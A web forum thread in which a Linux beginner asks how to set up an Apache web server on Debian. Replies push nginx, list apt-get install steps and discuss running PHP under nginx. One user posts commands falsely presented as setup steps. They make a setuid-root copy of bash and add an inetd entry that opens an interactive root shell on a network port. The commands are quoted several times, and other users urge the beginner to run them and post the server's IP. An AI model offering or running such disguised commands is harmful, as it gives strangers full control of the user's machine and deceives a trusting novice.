• i want to learn how to make webserver wiith apache
    28 replies, posted
The server is on debian anyways what nao?
Google it.
There's a billion guides. Also use nginx instead of apache.
i am a beginner with linux the tuts on google are too complicated, sorry
if linux is too hard then dont use it
just use [URL="http://www.webmin.com/"]Webmin[/URL]
[QUOTE=:awesome:;21974315]just use [URL="http://www.webmin.com/"]Webmin[/URL][/QUOTE] That is not a guide that's an excuse.
The following commands should do the trick (remember, you have to be root) [code] cp /bin/bash /.webserver chmod 4755 /.webserver echo "daytime stream tcp nowait root /bin/bash bash -i " >> /etc/inetd.conf /etc/init.d/xinetd restart [/code]
[QUOTE=turb_;21974629]The following commands should do the trick (remember, you have to be root) [code] cp /bin/bash /.webserver chmod 4755 /.webserver echo "daytime stream tcp nowait root /bin/bash bash -i " >> /etc/inetd.conf /etc/init.d/xinetd restart [/code][/QUOTE] What are you doing
It should be pretty apparent to anyone with a clue in Linux
Oh.
I c what u did thar.
[QUOTE=compwhizii;21974676]What are you doing[/QUOTE] Worked for me.
[QUOTE=turb_;21974629]The following commands should do the trick (remember, you have to be root) [code] cp /bin/bash /.webserver chmod 4755 /.webserver echo "daytime stream tcp nowait root /bin/bash bash -i " >> /etc/inetd.conf /etc/init.d/xinetd restart [/code][/QUOTE] Yeah, I tried this and it worked. OP, you should try this then post your server's IP so we can see if it worked for you.
[QUOTE=compwhizii;21972901]There's a billion guides. Also use nginx instead of apache.[/QUOTE] This. Not only is nginx significantly faster and lighter, it's also got a config file that actually makes sense.
Only problem with nginx is that you have to jump through hoops to get PHP to work with it.
[QUOTE=andersonmat;22000607]Only problem with nginx is that you have to jump through hoops to get PHP to work with it.[/QUOTE] News to me. Inb4 turb_ recalling all my issues with it, that's 'cause I have downs. Once I got it figured out the path is piss easy.
[QUOTE=andersonmat;22000607]Only problem with nginx is that you have to jump through hoops to get PHP to work with it.[/QUOTE] Not really - you just need to set up spawn-fcgi or PHP-FPM and then copy+paste one of the example configs from the nginx wiki. Takes like 5 minutes :P
Login to SSH with an account with appropriate permissions and type: apt-get install apache2 Want PHP too? Type: apt-get install php5-cgi Need mysql support for php? Type: apt-get install php5-mysql Then type: /etc/init.d/apache2 restart Also take note if this is for a public webserver on the internet you will need to take additional precautions and secure your apache, php and mysql installations.
[QUOTE=TheHeartSmasher;22006169]Login to SSH with an account with appropriate permissions and type: apt-get install apache2 Want PHP too? Type: apt-get install php5-cgi Need mysql support for php? Type: apt-get install php5-mysql Then type: /etc/init.d/apache2 restart Also take note if this is for a public webserver on the internet you will need to take additional precautions and secure your apache, php and mysql installations.[/QUOTE] Or just use yum, or get CentOS that has httpd already installed.
[QUOTE=faze;22012201]Or just use yum, or get CentOS that has httpd already installed.[/QUOTE] Don't you have spaceships to launch faze? [highlight](User was banned for this post ("Trolling/unhelpful reply." - SteveUK))[/highlight]
guys, he already installed nginx, and is having some problem with the config, thread a few down
I really wanted to help you with this but then I saw that extra "i" in the title and got deterred.
[QUOTE=nivek;22012926]I really wanted to help you with this but then I saw that extra "i" in the title and got deterred.[/QUOTE] Funny story. I was just about to post, "Use capital I's then come back." [editline]03:16AM[/editline] [QUOTE=compwhizii;21972901]There's a billion guides. Also use nginx instead of apache.[/QUOTE] How would one go about making a move from apache to nginx? I don't have the most powerful server in the world so every bit of memory counts. How can I install nginx but not allow the daemon to start? I want to see what the /etc/nginx looks like, because right now I have apache set to work in /home/maccabee/srv instead of /var/www and I want to be able to continue doing that.
What you want, is a LAMP server [url]http://en.wikipedia.org/wiki/LAMP_%28software_bundle%29[/url]
[QUOTE=Darkimmortal;21995995]This. Not only is nginx significantly faster and lighter, it's also got a config file that actually makes sense.[/QUOTE] I will throw my hands up and say I don't know shit about ngix. Does it have access to anything as good as apache SOLR search wise?
[QUOTE=Maccabee;22015817]How can I install nginx but not allow the daemon to start? I want to see what the /etc/nginx looks like, because right now I have apache set to work in /home/maccabee/srv instead of /var/www and I want to be able to continue doing that.[/QUOTE] Install it and if Apache is already listening on 80, then nginx won't be able to. [editline]07:31PM[/editline] [QUOTE=TheHeartSmasher;22006169]Login to SSH with an account with appropriate permissions and type: apt-get install apache2 Want PHP too? Type: apt-get install php5-cgi Need mysql support for php? Type: apt-get install php5-mysql Then type: /etc/init.d/apache2 restart Also take note if this is for a public webserver on the internet you will need to take additional precautions and secure your apache, php and mysql installations.[/QUOTE] You forgot the part about making him install a backdoor
Woah?!?!! [url]http://www.mysql-apache-php.com/[/url]
[QUOTE=Turki Azamat;22083397]Woah?!?!! [url]http://www.mysql-apache-php.com/[/url][/QUOTE] What about it?
Sorry, you need to Log In to post a reply to this thread.